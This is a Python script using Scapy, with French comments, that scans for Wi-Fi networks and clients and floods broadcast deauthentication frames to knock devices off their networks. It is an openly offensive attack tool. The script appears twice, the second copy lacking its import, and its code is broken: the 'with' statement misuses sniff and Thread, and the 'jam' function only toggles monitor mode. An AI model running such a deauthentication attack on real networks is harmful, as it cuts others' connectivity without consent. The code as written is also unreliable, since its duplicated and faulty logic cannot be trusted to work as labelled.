from scapy.all import *
from threading import Thread
import os
import time
# Configuration
interface = "wlan0"
jamming_duration = 30 # Durée du mode jamming en secondes
deauth_count = 100 # Nombre de trames de déauthentification à envoyer
# Listes pour stocker les réseaux et les clients détectés
networks = set()
clients = set()
def sniff_wifi(packet):
try:
# Détection des trames Beacon
if packet.haslayer(Dot11Beacon):
ssid = packet[Dot11Elt].info.decode()
if ssid not in networks:
networks.add(ssid)
print(f"Network detected: {ssid}")
# Détection des trames de réponse aux sondes (Probe Response)
elif packet.haslayer(Dot11ProbeResp) and packet[Dot11].addr2 not in clients:
clients.add(packet[Dot11].addr2)
print(f"Client detected: {packet[Dot11].addr2}")
except Exception as e:
print(f"An error occurred: {e}")
def jam():
try:
# Activation du mode monitor
os.system(f"iwconfig {interface} mode monitor")
# Attente pendant la durée spécifiée
time.sleep(jamming_duration)
# Retour au mode de fonctionnement normal
os.system(f"iwconfig {interface} mode managed")
print(f"Jamming mode ended after {jamming_duration} seconds.")
except Exception as e:
print(f"An error occurred during jamming: {e}")
def deauth_all(packet):
try:
if packet.haslayer(Dot11):
# Ajout du client à la liste
clients.add(packet.addr2)
print(f"Deauthenticating {packet.addr2}")
# Envoi de trames de déauthentification
deauth_packet = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=packet.addr2, addr3=packet.addr3)/Dot11Deauth()
sendp(deauth_packet, iface=interface, count=deauth_count, verbose=0)
except Exception as e:
print(f"An error occurred during deauthentication: {e}")
# Utilisation de "with" pour garantir la fermeture propre de la session
with sniff(iface=interface, prn=deauth_all), Thread(target=jam):
sniff(iface=interface, prn=sniff_wifi, timeout=jamming_duration)
print("Script ended.")
from threading import Thread
import os
import time
# Configuration
interface = "wlan0"
jamming_duration = 30 # Durée du mode jamming en secondes
deauth_count = 100 # Nombre de trames de déauthentification à envoyer
# Listes pour stocker les réseaux et les clients détectés
networks = set()
clients = set()
def sniff_wifi(packet):
try:
# Détection des trames Beacon
if packet.haslayer(Dot11Beacon):
ssid = packet[Dot11Elt].info.decode()
if ssid not in networks:
networks.add(ssid)
print(f"Network detected: {ssid}")
# Détection des trames de réponse aux sondes (Probe Response)
elif packet.haslayer(Dot11ProbeResp) and packet[Dot11].addr2 not in clients:
clients.add(packet[Dot11].addr2)
print(f"Client detected: {packet[Dot11].addr2}")
except Exception as e:
print(f"An error occurred: {e}")
def jam():
try:
# Activation du mode monitor
os.system(f"iwconfig {interface} mode monitor")
# Attente pendant la durée spécifiée
time.sleep(jamming_duration)
# Retour au mode de fonctionnement normal
os.system(f"iwconfig {interface} mode managed")
print(f"Jamming mode ended after {jamming_duration} seconds.")
except Exception as e:
print(f"An error occurred during jamming: {e}")
def deauth_all(packet):
try:
if packet.haslayer(Dot11):
# Ajout du client à la liste
clients.add(packet.addr2)
print(f"Deauthenticating {packet.addr2}")
# Envoi de trames de déauthentification
deauth_packet = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=packet.addr2, addr3=packet.addr3)/Dot11Deauth()
sendp(deauth_packet, iface=interface, count=deauth_count, verbose=0)
except Exception as e:
print(f"An error occurred during deauthentication: {e}")
# Utilisation de "with" pour garantir la fermeture propre de la session
with sniff(iface=interface, prn=deauth_all), Thread(target=jam):
sniff(iface=interface, prn=sniff_wifi, timeout=jamming_duration)
print("Script ended.")